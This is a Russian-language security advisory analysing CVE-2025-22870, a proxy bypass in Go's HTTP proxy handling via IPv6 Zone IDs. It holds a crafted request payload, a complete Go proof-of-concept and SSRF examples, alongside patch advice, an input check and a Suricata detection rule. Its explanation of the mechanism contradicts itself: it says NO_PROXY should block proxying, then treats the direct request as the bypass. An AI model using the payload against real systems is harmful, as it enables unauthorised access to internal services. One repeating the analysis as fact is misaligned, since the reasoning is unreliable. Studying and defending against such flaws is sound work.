
Уязвимость BDU:2025-02476 (CVE-2025-22870) Go
Уязвимость BDU:2025-02476 (CVE-2025-22870) в пакетах net/http
, x/net/proxy
и x/net/http/httpproxy
языка Go (BDU:2025-02476, CVE-2025-22870) позволяет злоумышленнику обойти ограничения прокси-сервера через некорректную обработку IPv6 Zone ID в NO_PROXY-правилах. Это приводит к несанкционированному доступу к внутренним ресурсам.
Анализ уязвимости
Уровень опасности: 4.4 MEDIUM
Вектор атаки: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L
-
AV:L (Attack Vector): Локальный – Атака требует локального доступа к системе.
-
AC:L (Attack Complexity): Низкая – Эксплуатация не требует сложных условий.
-
PR:L (Privileges Required): Низкие привилегии – Достаточно базовых прав пользователя.
-
UI:N (User Interaction): Не требуется – Атака не требует взаимодействия с пользователем.
-
S:U (Scope): Не оказывает влияния на другие компоненты – Уязвимость ограничена целевым приложением.
-
C:L (Confidentiality): Частичная компрометация – Возможна утечка конфиденциальных данных.
-
I:N (Integrity): Без последствий – Целостность данных не нарушается.
-
A:L (Availability): Частичное снижение доступности – Возможны ограниченные DoS-эффекты.
Условия эксплуатации
-
Среда:
-
Приложение на Go версий 1.23.x (<1.23.7) или 1.24.0–1.24.1.
-
Использование переменных окружения
HTTP_PROXY
/NO_PROXY
(например,NO_PROXY=*.example.com
).
-
-
Доступ:
-
Локальное размещение эксплоита или SSRF-доступ к уязвимому сервису.
-
-
Конфигурация:
-
Прокси-сервер, фильтрующий запросы к внутренним доменам через
NO_PROXY
.
-
Технический анализ эксплоита
Рассмотрим код эксплоита для понимания работы вектора атаки с использованием этой уязвимости.
Payload
GET http://[::1%25.example.com]:7777 HTTP/1.1
-
::1
– IPv6-адрес (localhost). -
%25
– URL-кодированный символ%
(разделитель Zone ID в IPv6). -
.example.com
– Домен, разрешенный вNO_PROXY
.
Уязвимый код httpproxy
ошибочно интерпретирует ::1%25.example.com
как поддомен *.example.com
, пропуская запрос напрямую, минуя прокси.
Код эксплоита (CVE-2025-22870.go)
package main import ( "fmt" "io" "net/http" "os" ) func main() { os.Setenv("HTTP_PROXY", "http://127.0.0.1:8080") // Указание прокси os.Setenv("NO_PROXY", "*.example.com") // Правило обхода прокси client := &http.Client{} // HTTP-клиент с настройками прокси // Отправка запроса к [::1] с Zone ID ".example.com" resp, err := client.Get("http://[::1%25.example.com]:7777") if err != nil { fmt.Println("Error:", err) return } defer resp.Body.Close() body, _ := io.ReadAll(resp.Body) // Чтение ответа fmt.Println(string(body)) // Вывод данных (утечка информации) }
Разбор:
-
Установка
NO_PROXY=*.example.com
должна блокировать проксирование дляexample.com
. -
Запрос к
[::1%25.example.com]
обходит это правило из-за ошибки парсинга:-
Библиотека извлекает хост как
::1%25.example.com
, трактуя%25.example.com
как часть Zone ID. -
Домен ошибочно сопоставляется с шаблоном
*.example.com
.
-
-
Результат: запрос к
localhost:7777
отправляется напрямую, а не через прокси.
Последствия эксплуатации
-
Обход сетевых ограничений:
-
Доступ к внутренним сервисам (базы данных, панели управления, API).
Пример: Запрос кhttp://[::1%25.internal]:5432
может получить доступ к PostgreSQL.
-
-
SSRF-атаки:
-
Чтение конфиденциальных данных с localhost (например,
http://[::1%25.attacker.com]/admin
).
-
-
Сканирование сети:
-
Обход прокси для доступа к ресурсам в защищенных сегментах (порты 22, 80, 8080).
-
-
DoS-воздействие:
-
Флудинг запросами к внутренним сервисам (например, уязвимым HTTP-серверам).
-
Способы защиты
-
Обновление Go:
-
Версии ≥1.23.7 или ≥1.24.2.
-
-
Валидация входных данных:
-
Отклонять запросы с IPv6 Zone ID в доменной части:
if strings.Contains(host, "%") { return errors.New("invalid host: IPv6 zone ID not allowed") }
-
-
WAF-правила (модель Suricata):
alert http any any -> any any ( msg:"CVE-2025-22870: IPv6 Zone ID Proxy Bypass Attempt"; flow:established,to_server; http.uri; content:"%25"; fast_pattern; content:"]"; distance:0; metadata:policy security-ips; sid:202502476; rev:1; )
Логика: Блокировка URL, содержащих
%25
(кодированный%
) перед закрывающей скобкой]
. -
Ограничение зоны действия NO_PROXY:
-
Использовать явные IP-адреса вместо шаблонов (
NO_PROXY="127.0.0.1, ::1"
).
-
Приложения под угрозой
Библиотеки net/http
и x/net/httpproxy
используются в:
-
Веб-серверах (Traefik, Caddy).
-
Микросервисах на Go (Kubernetes-операторы, API-гейтвеи).
-
CLI-утилитах с сетевым функционалом (Docker, Terraform).
Заключение
Уязвимость актуальна для изолированных сред (например, контейнеры), где злоумышленник может развернуть эксплоит. Критична для систем, использующих NO_PROXY
для защиты внутренних ресурсов. Рекомендуется срочное обновление Go и мониторинг HTTP-запросов с IPv6 Zone ID.
